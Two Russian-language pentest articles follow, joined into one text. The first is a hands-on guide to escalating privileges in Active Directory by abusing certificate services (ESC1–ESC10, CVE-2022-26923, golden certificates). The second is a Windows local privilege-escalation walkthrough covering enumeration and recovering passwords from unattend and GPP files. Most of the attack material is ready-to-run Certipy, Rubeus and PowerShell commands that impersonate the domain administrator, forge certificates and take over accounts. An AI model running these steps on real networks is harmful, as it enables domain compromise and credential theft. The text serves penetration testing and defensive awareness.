Повышение привилегий в домене windows

Хакер — Privesc as a Service. Повышаем привилегии через Active Directory Certification Services

hacker_frei

https://t.me/hacker_frei

whoam1ns3 

Содержание статьи

  • Центр сертификации
  • Сертификаты
  • В поисках сертификатов
  • Атаки на AD CS
  • Лаборатория
  • Сбор информации
  • Modifiable SAN. ESC1
  • Any or None Purpose Attack. ESC2
  • Enrollment Agent. ESC3
  • Certificate ACL Abuse. ESC4
  • Manage CA & Manage Certificate. ESC7
  • Relay на AD CS Web Enrollment. ESC8
  • dNSHostName Spoofing
  • Golden Certificate
  • Сопоставление сертификатов
  • StrongCertificateBindingEnforcement. Kerberos
  • CertificateMappingMethods. Schannel
  • ESC9. Jump to DA
  • ESC10. Nameless accounts
  • Выводы

Центр сер­тифика­ции в Active Directory может стать отличной целью ата­ки при выпол­нении тес­тирова­ния на про­ник­новение. В этой статье мы рас­смот­рим, как устро­ен этот центр, как про­исхо­дит выдача сер­тифика­тов и как мож­но повысить при­виле­гии в домене, исполь­зуя воз­можнос­ти Active Directory Certification Services.

В Windows Server при­сутс­тву­ет роль под наз­вани­ем Active Directory Certification Services (AD CS), которая нуж­на для реали­зации инфраструк­туры откры­тых клю­чей (PKI) в сетях с кон­трол­лером домена. AD CS пред­назна­чена для выдачи сер­тифика­тов поль­зовате­лям и компь­юте­рам. Сер­тифика­ты могут исполь­зовать­ся для шиф­рования, под­писи, аутен­тифика­ции и тому подоб­ного, и в целом эта роль выг­лядит как сер­вис для повыше­ния безопас­ности в домене.

Ча­ще все­го при пен­тесте домена Active Directory конеч­ной целью ста­вит­ся перех­ват учет­ной записи адми­нис­тра­тора. Получив адми­на, мож­но шиф­ровать сис­тему сда­вать отчет и закан­чивать про­ект. Есть мно­жес­тво спо­собов добить­ся ука­зан­ной цели, и один из них — экс­плу­ата­ция неп­равиль­ных кон­фигура­ций шаб­лонов, по которым выпус­кают­ся сер­тифика­ты.

На пути к получе­нию адми­нис­тра­тора домена нам понадо­бит­ся нас­тоящий швей­цар­ский нож в мире сер­тифика­тов — Certipy. Он поз­воля­ет искать информа­цию о шаб­лонах, зап­рашивать сер­тифика­ты и аутен­тифици­ровать­ся при помощи сер­тифика­тов, но самое глав­ное — про­водить ата­ки. 

ЦЕНТР СЕРТИФИКАЦИИ

В рам­ках Active Directory центр сер­тифика­ции реали­зует фун­кцию инфраструк­туры откры­тых клю­чей. В свою оче­редь, инфраструк­тура откры­тых клю­чей (PKI) — это набор служб и ком­понен­тов, поз­воля­ющих управлять клю­чами и сер­тифика­тами в сети.

Ос­новная цель цен­тра сер­тифика­ции сос­тоит в выдаче, отзы­ве, перевы­пус­ке сер­тифика­тов и тому подоб­ном. Центр сер­тифика­ции, раз­верну­тый пер­вым, явля­ется кор­нем инфраструк­туры откры­тых клю­чей. Далее мож­но раз­верты­вать под­чинен­ные ЦС, рас­положен­ные в иерар­хии инфраструк­туры откры­тых клю­чей, в вер­хней час­ти которой находит­ся кор­невой ЦС.

СЕРТИФИКАТЫ

Cер­тификат в общем смыс­ле — это документ фор­мата X.509, содер­жащий информа­цию о сво­ем вла­дель­це. Может исполь­зовать­ся как средс­тво иден­тифика­ции и аутен­тифика­ции.

Зап­рос сер­тифика­та

Сер­тифика­ты вклю­чают в себя некото­рые парамет­ры. Вот наибо­лее инте­рес­ные из них:

  • Subject — вла­делец сер­тифика­та;
  • SAN (SubjectAlternativeName) опре­деля­ет одно или нес­коль­ко аль­тер­натив­ных имен, которые может исполь­зовать вла­делец (это нам при­годит­ся в ата­ках);
  • Extended/Enhanced Key Usages — набор иден­тифика­торов, которые опре­деля­ют, как будет исполь­зовать­ся сер­тификат.

Сер­тифика­ты выпус­кают­ся по опре­делен­ным шаб­лонам, опи­сыва­ющим парамет­ры, с которы­ми будет выпущен сер­тификат, нап­ример:

  • Кто может зап­рашивать сер­тификат по дан­ному шаб­лону?
  • Кто может изме­нять шаб­лон?
  • Ка­кие EKU (зна­чения Extended Key Usage) будут опре­деле­ны?
  • На какой пери­од будет выпущен сер­тификат?

Про­ще говоря, шаб­лоны сер­тифика­тов опре­деля­ют порядок зап­роса и исполь­зования сер­тифика­тов, выдан­ных цен­тром сер­тифика­ции.

В ПОИСКАХ СЕРТИФИКАТОВ

Шаб­лоны сер­тифика­тов хра­нят­ся в сле­дующем кон­тей­нере:

CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=com

Со­ответс­твен­но, получить шаб­лоны мож­но при помощи сле­дующей коман­ды PowerShell, исполь­зуя модуль AD:

PS > Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=com" -Filter * -Properties *

Так­же в Windows есть пре­дус­танов­ленный инс­тру­мент certutil, который может вывес­ти все шаб­лоны для сер­тифика­тов в более удоб­ном и под­робном виде.

$ certutil -v -template

Вы­вод cerutil.exe

Инс­тру­мент Certipy поз­волит сде­лать это с Linux и сра­зу выг­рузить дан­ные, которые мож­но заг­рузить в BloodHound.

$ certipy find 'contoso/john:Passw0rd@contoso.com'

Шаб­лоны в BloodHound

Что­бы выпус­тить сер­тификат, нуж­но, что­бы наш поль­зователь сос­тоял в домен­ной груп­пе, у которой есть пра­ва на выпуск это­го сер­тифика­та. Еще необ­ходима воз­можность аутен­тифици­ровать­ся в домене. В совокуп­ности эти два тре­бова­ния дадут мак­сималь­ный импакт для ата­кующе­го.

Зна­чения поля EKU, поз­воля­ющие аутен­тифици­ровать­ся в домене:

  • Client Authentication (1.3.6.1.5.5.7.3.2);
  • PKINIT Client Authentication (1.3.6.1.5.2.3.4);
  • Smart Card Logon (1.3.6.1.4.1.311.20.2.2);
  • Any Purpose EKU (2.5.29.37.0);
  • SubCA (-).

Лаборатория

Для про­веде­ния тес­тов нам пот­ребу­ется лабора­тор­ный стенд, сос­тоящий из двух вир­туаль­ных машин: Windows Server 2016 и Kali Linux. Перечис­лим общие тре­бова­ния для всех атак:

  • сер­тификат может выпус­кать­ся груп­пой, в которую вхо­дит ваш поль­зователь;
  • Manager Approval дол­жен быть отклю­чен;
  • под­пись CSR не тре­бует­ся.

Пос­ледние два тре­бова­ния выпол­няют­ся в Windows Server по умол­чанию, и на них мож­но не обра­щать вни­мания (при­вет, адми­ны!). Еще нам пот­ребу­ется воз­можность аутен­тифика­ции в домене с выпущен­ным сер­тифика­том. На нашем лабора­тор­ном стен­де мы будем исполь­зовать поль­зовате­ля Kent.Jill:P@ssw0rd

Сбор информации

Сбор информа­ции о цели — пер­вый этап тес­тирова­ния на про­ник­новение. Для сбо­ра информа­ции и визу­али­зации мож­но исполь­зовать Certipy + BloodHound. Перед этим нуж­но заг­рузить под­готов­ленные раз­работ­чиками Certipy зап­росы на свой хост.

wget -O ~/.config/bloodhound/customqueries.json https://raw.githubusercontent.com/ly4k/Certipy/main/customqueries.json

По­лучить информа­цию из цен­тра сер­тифика­ции поз­воля­ет модуль find:

$ certipy find 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com

BloodHound дает воз­можность визу­али­зиро­вать информа­цию по объ­ектам AD CS и пра­вам на них, а так­же опре­делить век­торы повыше­ния при­виле­гий.

Зап­росы в BloodHound
Зап­росы в BloodHound

Modifiable SAN. ESC1

Эта ата­ка осно­выва­ется на изме­нении сер­тифика­та SAN — циф­рового сер­тифика­та безопас­ности, который поз­воля­ет защищать нес­коль­ко имен хос­тов одним сер­тифика­том. Это поз­волит нам выпус­тить сер­тификат на дру­гого поль­зовате­ля, даже адми­нис­тра­тора домена. Что­бы ата­ка прош­ла успешно, шаб­лон сер­тифика­та дол­жен иметь уста­нов­ленный флаг ENROLLEE_SUPPLIES_SUBJECT.

Вы­ведем все такие шаб­лоны с исполь­зовани­ем BloodHound.

Вы­вод ESC1 в BloodHound

Ес­ли у нас есть такой шаб­лон, то мы в шаге от получе­ния учет­ной записи адми­нис­тра­тора домена. Зап­росить сер­тификат на любого поль­зовате­ля мож­но сле­дующим обра­зом:

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -dc-ip 10.11.1.184 -ca CA-contoso -template "1" -alt "administrator@contoso.com"

В этой коман­де уста­нав­лива­ется параметр alt, который ука­зыва­ет SAN в зап­рашива­емом сер­тифика­те.

Из лога Certipy вид­но, что мы получи­ли сер­тификат на поль­зовате­ля Administrator.

По­луче­ние сер­тифика­та на адми­нис­тра­тора

Те­перь все, что нам оста­ется, — это прой­ти аутен­тифика­цию с выпущен­ным сер­тифика­том и получить NTLM-хеш адми­нис­тра­тора домена.

Ав­ториза­ция под адми­нис­тра­тором

В Windows мы можем это сде­лать при помощи mmc, исполь­зуя оснас­тку Certificates. При попыт­ке выпус­тить сер­тификат от нас пот­ребу­ется допол­нитель­ная информа­ция, в которой мы и ука­жем любого поль­зовате­ля.

В Subject Name выбира­ем Type: Common Name, а в Alternative Name — User principal name: administrator@contoso.com.

Вы­пуск сер­тифика­та через MMC

Ес­ли все прош­ло успешно, нуж­но экспор­тировать сер­тификат с ука­зани­ем пароля и зап­росить TGT-билет для поль­зовате­ля:

PS > Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /ptt

Для перево­да сер­тифика­та в Base64 мож­но исполь­зовать сле­дующие коман­ды:

PS > $file = get-content 'C:\Users\Kent.Jill\Desktop\1.pfx' -Encoding Byte

PS > [System.Convert]::ToBase64String($fileContentBytes) | Out-File 'D:\pfx-bytes.txt' 

Any or None Purpose Attack. ESC2

Ес­ли в шаб­лоне сер­тифика­та ука­зан EKU любого наз­начения или вооб­ще отсутс­тву­ет EKU, сер­тификат мож­но исполь­зовать для чего угод­но. Им мож­но зло­упот­реблять, как ESC3, нап­ример, исполь­зовать сер­тификат в качес­тве тре­бова­ния для зап­роса дру­гого сер­тифика­та от име­ни любого поль­зовате­ля. 

Enrollment Agent. ESC3

В до­кумен­тации Microsoft ука­зано, что EKU Certificate Request Agent может исполь­зовать­ся, что­бы выдать себя за дру­гого поль­зовате­ля, и поз­воля­ет выпус­тить сер­тификат, который может быть исполь­зован для сов­мес­тной под­писи зап­росов от име­ни любого поль­зовате­ля для любого шаб­лона.

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -ca CA-contoso -template Agent

Зап­рос через агент

Пос­ле того как мы получи­ли обыч­ного поль­зовате­ля, зап­росим сер­тификат, пред­ста­вив­шись дру­гим поль­зовате­лем.

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -ca CA-contoso -template User -on-behalf-of 'contoso\Administrator' -pfx kent.jill.pfx

Зап­рос сер­тифика­та от име­ни дру­гого поль­зовате­ля

Certificate ACL Abuse. ESC4

Прос­тая ата­ка, осно­ван­ная на пра­вах поль­зовате­ля, при­меня­ющих­ся к шаб­лону сер­тифика­та. Если мы ском­про­мети­рова­ли поль­зовате­ля, который име­ет пра­ва на запись в шаб­лоны, то можем про­вес­ти ата­ку ESC1 и повысить свои при­виле­гии.

При помощи инс­тру­мен­та PowerView мы можем кра­сиво вывес­ти все ACE на шаб­лоны:

PS > Get-DomainObjectAcl -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -LDAPFilter "(objectclass=pkicertificatetemplate)" -ResolveGUIDs|Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}

Од­нако BloodHound покажет то же самое еще удоб­нее и кра­сивее. Мож­но уви­деть, что груп­па с SID = 513 (Domain Users) име­ет пра­ва GenericAll на шаб­лон ACL. Подоб­ное неред­ко встре­чает­ся в «живой при­роде», поэто­му не сто­ит счи­тать этот при­мер пол­ностью искусс­твен­ным.

Вы­вод прав на шаб­лон в BloodHound

Сле­дующим дей­стви­ем будет сох­ранение текуще­го сос­тояния сер­тифика­та, что­бы вер­нуть его в исходное сос­тояние пос­ле экс­плу­ата­ции (мы ведь этич­ные хакеры). Заод­но мы изме­ним кон­фигура­цию под ата­ку ESC1.

Для выпол­нения этих дей­ствий certipy име­ет спе­циаль­ный флаг -save-old:

$ certipy template 'contoso.com/Administrator:P@ssw0rd'@DC01.contoso.com -template ACL -save-old

Сох­ранение исходно­го шаб­лона

Те­перь шаб­лон уяз­вим к ESC1, и мы можем получить сер­тификат на адми­нис­тра­тора домена.

$ certipy req 'contoso.com/Administrator:P@ssw0rd'@DC01.contoso.com -template acl -ca CA-contoso -alt administrator@contoso.com

Зап­рос сер­тифика­та на адми­на

Everything and for everyone (EDITF_ATTRIBUTESUBJECTALTNAME2). ESC6

Ата­ку ESC5 мы раз­бирать не будем, так как она нацеле­на не на AD CS, а на объ­екты, которые могут при­нес­ти какой‑то импакт в AD CS. А вот ESC6 — это самая опас­ная и по сво­ей сути лег­кая ата­ка. Если сис­темный адми­нис­тра­тор (видимо, не в сво­ем уме) уста­новил флаг EDITF_ATTRIBUTESUBJECTALTNAME2 в цен­тре сер­тифика­ции, то это прос­тей­ший век­тор для повыше­ния при­виле­гий в сис­теме.

Этот флаг поз­воля­ет хакеру ука­зать про­изволь­ный SAN (Subject Alternative Name) для всех сер­тифика­тов, нес­мотря на кон­фигура­цию шаб­лона сер­тифика­та.

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -template <Любой шаблон> -ca CA-contoso -alt administrator@contoso.com 

Manage CA & Manage Certificate. ESC7

В AD CS есть шаб­лон, который по умол­чанию уяз­вим к ESC1, — SubCA, но выпус­кать его могут лишь поль­зовате­ли, вхо­дящие в груп­пу Domain Admins.

ESC7 осно­ван на том фак­те, что зап­росы, которые завер­шились неуда­чей, сох­раня­ются и могут быть зап­рошены еще раз. Поль­зовате­ли, име­ющие пра­ва Manage CA и Manage Certificates на центр сер­тифика­ции, могут перевы­пол­нять неудач­ные зап­росы на выпуск сер­тифика­та и выпус­кать SubCA на любого поль­зовате­ля.

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -template SubCA -ca CA-contoso -alt administrator@contoso.com

Вы­пол­няем неудач­ный зап­рос

Сох­ранив ID зап­роса и при­ват­ный ключ, выпус­тим сер­тификат:

$ certipy ca 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -ca CA-contoso -issue-request 32

Вы­пуск сер­тифика­та из неудач­ного зап­роса

Те­перь зап­росим перевы­пущен­ный сер­тификат.

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -ca CA-contoso -retrieve 32

По­луче­ние адми­нис­тра­тора домена

В оче­ред­ной раз мы ста­ли адми­нис­тра­тором домена. 

Ты навер­няка слы­шал про PetitPotam или читал замеча­тель­ные статьи @Delyura «Зах­ват кон­трол­лера домена с помощью ата­ки PetitPotam» и @Dirkjanm «NTLM relaying to AD CS — On certificates, printers and a little hippo», которые под­робно опи­сыва­ют дан­ную ата­ку.

Ес­ли крат­ко, то мы можем реле­ить хеш в центр сер­тифика­ции, получая сер­тификат в фор­мате PKCS12 на поль­зовате­ля, чей хеш мы рет­ран­сли­рова­ли.

WWW

От­личный док­лад про Relay-ата­ки: Coercions and Relays — The First Cred is the Deepest with Gabriel Prud’homme 

dNSHostName Spoofing

В мае 2022 года в Active Directory была най­дена уяз­вимость, которой был прис­воен иден­тифика­тор CVE-2022-26923. Ког­да поль­зователь зап­рашива­ет сер­тификат на осно­ве шаб­лона Users, UPN (UserPrincipalName) учет­ной записи поль­зовате­ля встав­ляет­ся в параметр SAN (Subject Alternative Name) сер­тифика­та.

Од­нако учет­ные записи компь­юте­ров не име­ют UPN, вмес­то это­го исполь­зует­ся dNSHostName компь­юте­ра, который и встав­ляет­ся в параметр SAN. В этом и зак­люча­ется суть ата­ки: изме­нив dNSHostName на кон­трол­лер домена, мы выпус­тим сер­тификат на машин­ную учет­ную запись это­го кон­трол­лера.

По умол­чанию обыч­ные поль­зовате­ли могут добав­лять компь­юте­ры в домен, и учет­ная запись компь­юте­ра будет иметь такую инте­рес­ную при­виле­гию, как Validate write to DNS host name, что поз­воля­ет изме­нять параметр dNSHostName на про­изволь­ную стро­ку. Соот­ветс­твен­но, мы можем поменять dNSHostName на DNS-имя кон­трол­лера домена, а затем аутен­тифици­ровать­ся, получив сер­тификат на машин­ную учет­ную запись кон­трол­лера домена! Одна­ко не все так прос­то. Ког­да мы меня­ем dNSHostName на компь­юте­ре, меня­ются зна­чения servicePrincipalName, а они дол­жны быть уни­каль­ными.

Вот тут в игру всту­пает еще одна инте­рес­ная при­виле­гия на объ­ект компь­юте­ра — Validate write to Service Principal Name (SPN), поз­воля­ющая изме­нять, добав­лять и уда­лять параметр SPN, и обой­ти огра­ниче­ние уни­каль­нос­ти, прос­то уда­лив SPN, где ука­зыва­ется пол­ный dNSHostName, а не sAMAccountName компь­юте­ра.

Та­ким обра­зом, воз­можность соз­дания нового компь­юте­ра и при­виле­гии на компь­ютер по умол­чанию дают зло­умыш­ленни­ку век­тор для повыше­ния при­виле­гий в сис­теме.

Пол­ный флоу ата­ки выг­лядит сле­дующим обра­зом:

  1. Соз­дание компь­юте­ра в домене с dNSHostName, соот­ветс­тву­ющим DNS-име­ни кон­трол­лера домена.
  2. За­мена SPN.
  3. Зап­рос сер­тифика­та для компь­юте­ра.

Соз­дадим компь­ютер через Certipy, ука­зав в параметр -dns FQDN кон­трол­лера домена:

$ certipy account create 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -user pwned -dns DC01.contoso.com

Соз­дание компь­ютер­ной учет­ки

Зап­рашива­ем сер­тификат, исполь­зуя стан­дар­тный шаб­лон Machine.

Вы­пуск сер­тифика­та на кон­трол­лер домена

Об­рати вни­мание: мы выпус­тили сер­тификат на машин­ную учет­ку кон­трол­лера домена, пос­ле чего ста­ли этим кон­трол­лером.

В темати­чес­ких чатах я замечал сле­дующий воп­рос: а как про­верить, уяз­вим ли кон­трол­лер домена к CVE-2022-26923? Глав­ным приз­наком уяз­вимос­ти слу­жит наличие SID в отве­те на зап­рос сер­тифика­та. Если он есть — патч в сис­теме при­сутс­тву­ет, если нет, то пат­ча тоже нет. 

Golden Certificate

Это прос­той ана­лог для Golden или Diamond Ticket.

Пер­вый этап ата­ки — соз­дание бэкапа цен­тра сер­тифика­ции и получе­ние сер­тифика­та это­го цен­тра.

$ certipy ca 'contoso.com/Administrator:P@ssw0rd'@DC01.contoso.com -ca CA-contoso -backup

Де­лаем резер­вную копию цен­тра сер­тифика­ции

С помощью получен­ного сер­тифика­та мы можем зап­рашивать сер­тифика­ты на любого поль­зовате­ля.

$ certipy forge -ca-pfx CA-contoso.pfx -alt administrator@contoso.com

Вы­пуск сер­тифика­та на любого поль­зовате­ля

СОПОСТАВЛЕНИЕ СЕРТИФИКАТОВ

В пат­че CVE-2022-26923 в реестр были добав­лены два зна­чения: StrongCertificateBindingEnforcement и CertificateMappingMethods, пред­назна­чен­ные для сопос­тавле­ния сер­тифика­тов.

StrongCertificateBindingEnforcement. Kerberos

Пос­ле появ­ления исправ­лений параметр StrongCertificateBindingEnforcement по умол­чанию име­ет зна­чение 1. Теперь KDC про­веря­ет, выпол­няет­ся ли явное сопос­тавле­ние сер­тифика­тов. Если да, то аутен­тифика­ция раз­решена. В про­тив­ном слу­чае KDC про­верит, име­ет ли сер­тификат SID, и под­твер­дит его. Если SID отсутс­тву­ет, аутен­тифика­ция раз­решена.

Зна­чение 0 не озна­чает никаких дей­ствий, что оставля­ет век­тор ата­ки откры­тым.

Ес­ли параметр име­ет зна­чение 2, KDC про­веря­ет, выпол­няет­ся ли надеж­ное сопос­тавле­ние сер­тифика­тов. Если да, то аутен­тифика­ция раз­решена. В про­тив­ном слу­чае KDC про­верит, име­ет ли сер­тификат SID, и под­твер­дит его. Если этот SID отсутс­тву­ет, аутен­тифика­ция откло­няет­ся.

Зна­чение 2 будет уста­нов­лено по умол­чанию с 9 мая 2023 года.

CertificateMappingMethods. Schannel

В дан­ном методе исполь­зует­ся аутен­тифика­ция через про­токол Schannel. Этот про­токол сопос­тавля­ет сер­тифика­ты нем­ного ина­че. Параметр CertificateMappingMethods может при­нимать пять зна­чений:

  • 0x0001 — сопос­тавле­ние сер­тифика­тов субъ­ект/объ­ект;
  • 0x0002 — сопос­тавле­ние сер­тифика­тов ЦА;
  • 0x0004 — сопос­тавле­ние сер­тифика­тов по SAN;
  • 0x0008 — сопос­тавле­ние сер­тифика­тов S4U2Self;
  • 0x0010 — явное сопос­тавле­ние сер­тифика­тов S4U2Self.

По умол­чанию уста­нов­лено зна­чение 0x18 (0x8 и 0x10). S4U2Self исполь­зует­ся из‑за того, что Schannel не под­держи­вает новые парамет­ры, которые прив­нес оче­ред­ной патч, и сопос­тавле­ние идет через Kerberos.

WWW

Под­робно про­читать про сопос­тавле­ние сер­тифика­тов мож­но в недав­ней статье Oliver Lyak «Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more!».

ESC9. Jump to DA

Для этой ата­ки нуж­но, что­бы параметр StrongCertificateBindingEnforcement имел зна­чение 1 или 0. Еще пот­ребу­ется сер­тификат с уста­нов­ленным фла­гом CT_FLAG_NO_SECURITY_EXTENSION в парамет­ре msPKI-Enrollment-Flag, а так­же GenericWrite любого поль­зовате­ля в домене. BloodHound 4.2.0 име­ет встро­енные зап­росы для вывода подоб­ных шаб­лонов.

Пер­вым делом сле­дует получить хеш учет­ной записи B от учет­ной записи A, которая име­ет GenericWrite на B, нап­ример через Shadow Credentials:

$ certipy shadow auto 'contoso.com/Kent.Jill:P@ssw0rd' -account Max

Пос­ле получе­ния хеша нуж­но изме­нить UPN учет­ной записи B на UPN адми­нис­тра­тора:

$ certipy account update 'contoso.com/Kent.Jill:P@ssw0rd' -user Max -upn Administrator

За­меть, не на Administrator@contoso.com, а на Administrator.

Даль­ше зап­росим сер­тификат от учет­ной записи Max (она же учет­ная запись B), хеш которой мы получи­ли на пер­вом эта­пе:

$ certipy req 'contoso.com/Max' -template new -ca CA-contoso -hashes 275b741dead6da7aaa8ec5292db5abca

Пос­коль­ку мы изме­нили UPN на Administrator, сер­тификат будет выпущен на имя адми­на. Что­бы вер­нуть все как было, мы уста­нав­лива­ем UPN обратно, но уже с ука­зани­ем домена:

$ certipy account update 'contoso.com/Kent.Jill:P@ssw0rd' -user Max -upn Max@contoso.com 

ESC10. Nameless accounts

Для успешно­го выпол­нения этой ата­ки нуж­но, что­бы парамет­ры име­ли сле­дующие зна­чения:

CertificateMappingMethods: 0x4

StrongCertificateBindingEnforcement: 0

Так­же нам понадо­бит­ся раз­решение GenericWrite на учет­ную запись А.

Дан­ная ата­ка пред­полага­ет ком­про­мета­цию учет­ных записей, у которых отсутс­тву­ет UPN. К таковым отно­сит­ся, в час­тнос­ти, машин­ная учет­ка или встро­енная учет­ка Administrator.

Сна­чала мы получа­ем хеш учет­ной записи B, так­же через ShadowCredentials или любым дру­гим спо­собом:

$ certipy shadow auto 'contoso.com/Kent.Jill:P@ssw0rd' -account Max

За­тем меня­ем UPN учет­ной записи на, нап­ример, кон­трол­лер домена:

$ certipy account update 'contoso.com/Kent.Jill:P@ssw0rd' -user Max -upn 'DC01$@contoso.com'

Да­лее зап­рашива­ем сер­тификат от Max и… сами ста­новим­ся кон­трол­лером домена:

$ certipy req 'contoso.com/Max' -template new -ca CA-contoso -hashes 275b741dead6da7aaa8ec5292db5abca 

ВЫВОДЫ

Мы рас­смот­рели нес­коль­ко видов атак на Active Directory Certification Services и выяс­нили, каким обра­зом с исполь­зовани­ем этой роли мож­но повысить при­виле­гии в сис­теме. Защитить­ся от таких атак отно­ситель­но нес­ложно: нуж­ны пра­виль­ные нас­трой­ки сер­вера и, конеч­но же, не сле­дует забывать о сво­евре­мен­ной уста­нов­ке обновле­ний безопас­ности.

Для защиты тре­бует­ся все­го лишь кор­рек­тная нас­трой­ка прав поль­зовате­лей на шаб­лоны, с отклю­чени­ем всех нес­тандар­тных нас­тро­ек. Имен­но некор­рек­тная нас­трой­ка шаб­лонов при­водит к ата­кам, поз­воля­ющим хакеру повысить при­виле­гии в две коман­ды. Про­вер­ку кор­рек­тнос­ти нас­тро­ек шаб­лонов мож­но выпол­нить с помощью замеча­тель­ного инс­тру­мен­та PSPKIAudit.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Время на прочтение
10 мин

Количество просмотров 42K

Решил для себя и для тех, кому будет полезно, собрать все что знаю, но не помню по теме, в этой статье. Делитесь советами. Основным источником этой статьи является эта.

Я вольно перевел и добавил немного от себя, того, что насобирал и узнал из других источников.

В общем, тут представлены способы, которые помогут нам достигнуть цели повышения привилегий.

Отправной точкой для этой небольшой статьи является непривилегированная оболочка (учетная запись). Возможно, мы использовали эксплойт или провели атаку и получили эту оболочку.

В принципе, в начальный момент времени мы не понимаем машину: что она делает, к чему она подключена, какой уровень привилегий у нас есть или даже какая это операционная система.

Сначала нам нужно получить нужную нам информацию, чтобы понять, где мы вообще находимся и что имеем:

systeminfo | findstr /B /C:"Название ОС" /C:"Версия ОС"

Эта команда позволяет определить, как из нее видно, Название и версию ОС. Можно выполнить ее и без параметров, тогда вывод команды будет более полным, но нам достаточно и этого.

Далее важно узнать имя машины и имя пользователя, под которым мы подключились.

  • hostname — имя пользователя.
  • echo %username% — имя пользователя.

Далее посмотрим, какие пользователи есть еще на данном хосте и получим более подробную информацию о своем пользователе.

  • net users — другие пользователи
  • net user user1 — детальная информация по пользователю, где user1 — имя вашего пользователя.

Получив информацию об учетке, посмотрим информацию о сетевом взаимодействии данного хоста.

Сначала глянем на имеющиеся интерфейсы и таблицу маршрутизации.

  • ipconfig /all — информация об имеющихся интерфейсах.
  • route print — таблица маршрутизации
  • arp -A — таблица arp записей

Далее посмотрим активные сетевые подключения и правила брандмауэра.

  • netstat -ano — активные сетевые подключения.

-a — запуск с данным параметром выведет на экран все активные подключения TCP, а также порты TCP и UDP, прослушиваемые системой;
-n — параметр позволяет показать активные подключения TCP с адресами и номерами портов;
-o — так же, как и предыдущий ключ, выводит активные TCP подключения, но в статистику добавлены коды процессов, по ним уже можно точно определить, какое именно приложение использует подключение.

  • netsh firewall show state — статус брандмауэра
  • netsh firewall show config — конфигурация брандмауэра

Наконец, мы кратко рассмотрим, что работает на скомпрометированном хосте: запланированные задачи, запущенные процессы, запущенные службы и установленные драйверы.

schtasks /query /fo LIST /v

где
/query — Вывод данных о всех запланированных задачах,
/fo LIST — Вывод в список.
/v — Вывод подробных сведений о задании.

Следующая команда связывает запущенные процессы с запущенными службами.

tasklist /SVC

где,
/SVC — Отображение служб для каждого процесса.

Также посмотрим список запущенных служб Windows.

net start

Полезно также посмотреть информацию о драйверах скомпрометированной системы.

DRIVERQUERY

Далее хочется упомянуть о, наверное, самой полезной команде Windows — wmic. Команда WMIC (Windows Management Instrumentation Command) используется для получения сведений об оборудовании и системе, управления процессами и их компонентами, а также изменения настроек с использованием возможностей инструментария управления Windows (Windows Management Instrumentation или WMI). Хорошее описание.

К сожалению, некоторые конфигурации Windows по умолчанию не разрешают доступ к WMIC, если пользователь не входит в группу Администраторов (что действительно хорошая идея). Любая версия XP не позволяла доступ к WMIC с непривилегированной учетной записи.

Напротив, Windows 7 Professional и Windows 8 Enterprise по умолчанию позволяли пользователям с низкими привилегиями использовать WMIC.

По обычаю — параметры программы:

wmic /?

Хороший скрипт по сбору инфы через wmic.

Прежде чем идти дальше стоит пробежаться по собранной информации. Также стоит обратить внимание на установленные в системе патчи, так как любая информация о дырах в системе даст нам дополнительную опору для повышения своих привилегий. По номеру HotFix можно поискать уязвимости по повышению привилегий.

Далее мы рассмотрим автоматическую установку. Если существует необходимость установки и настройки большого парка машин, то как правило, технический персонал не будет перемещаться от машины к машине для настройки персонального каждой. Существует несколько решений для автоматической установки. Для нас не так важно, что это за методы и как они работают, а важно то, что они оставляют конфигурационные файлы, которые используются для процесса установки, содержащие много конфиденциальной информации, такой как ключ продукта операционной системы и пароль администратора. Что нас больше всего интересует, так это пароль администратора, который мы можем использовать для повышения наших привилегий.

Как правило, это следующие каталоги:

  • c:\sysprep.inf
  • c:\sysprep\sysprep.xml
  • %WINDIR%\Panther\Unattend\Unattended.xml
  • %WINDIR%\Panther\Unattended.xml

Но стоит проверить и всю систему.

Данные файлы содержат пароли в открытом виде или кодировке BASE64.
Примеры:

Sysprep.inf — пароль в открытом виде.

»

Sysprep.xml — пароль в кодировке base64.

»

Unattended.xml — пароль в кодировке base64.

Также для хостов, подключенных к домену можно поискать файл Group.xml, который содержит зашифрованный AES256 пароль, но который можно расшифровать, т.к. ключ выложен на msdn (https://msdn.microsoft.com/en-us/library/cc422924.aspx) и других источниках. Но это в случае, если используется политика создания локальных пользователей на хостах или, например, задании пароля локальному Администратору.

Например, у меня лежит тут:

Открыв его, ищем параметр “cpassword”.

Далее нужно расшифровать данную последовательность. Используем, например, CrypTool. Сначала раскодируем Base64.
Особенности Base64 в том, что его длина должна быть кратна 4. Поэтому считаем блоки по 4, и если в последнем блоке не хватает символов, то недостающие дописываем символами «=».
У меня вышло 2 «=».

Далее расшифруем. Применяя тот ключ, что выше.

Убираем лишние точки, разделяющие знаки и получаем пароль.

В дополнение к Group.xml вот несколько других файлов предпочтений политики, которые могут иметь дополнительный набор атрибутов «cPassword”:

  • Services\Services.xml
  • ScheduledTasks\ScheduledTasks.xml
  • Printers\Printers.xml
  • Drives\Drives.xml
  • DataSources\DataSources.xml

